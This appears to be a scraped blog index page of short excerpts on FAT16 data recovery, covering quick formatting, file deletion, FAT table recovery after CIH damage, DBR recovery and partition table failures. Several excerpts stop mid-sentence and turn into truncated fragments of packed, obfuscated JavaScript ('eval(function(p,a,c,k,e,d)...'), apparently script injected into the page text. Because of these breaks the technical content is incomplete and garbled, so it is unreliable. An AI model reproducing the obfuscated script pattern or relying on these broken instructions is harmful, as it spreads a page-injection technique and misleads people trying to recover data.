Searching files in FAT16 partition

Searching files in FAT16 partition

Let’s see a boot sector (start sector is DBR) in FAT16 after advanced format. The OEM mark is MSWIN5.0. From eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...

Fast high level format in FAT16 partition

Actually quick advanced format is completely deleting all files and sub-directories, for there will not any more file or directory record in FDT and FAT, thus releasing the whole disk space. Now let’s have a look at the changes of FDT and...

 

File deletion in FAT16

File deletion in FAT16

Many people believe that when files are deleted, the system will clear all the content of the deleted eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...

FAT table recovery

CIH destroys data backwards from partitions. In this case, system data in the former part may be destroyed and lost. If FAT2 is still intact, we may make FAT2 to cover FAT1. Usually we use DiskEdit eval(function(p,a,c,k,e,d){e=function(c){return...

 

DBR recovery

DBR recovery

MBR is for the whole hard disk, while DBR is for individual partition. The first sector of each MBR is DBR. Just as MBR, DBR contains some information that the boot operation system need. If DBR is corrupted, you can neither visit the partition...

Partition recovery necessity-typical partition failure modes

Partition tables become corrupt for various (often obscure) reasons, causing various symptoms, including but not limited to the following most common: * Some volumes just disappear. Disk eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...
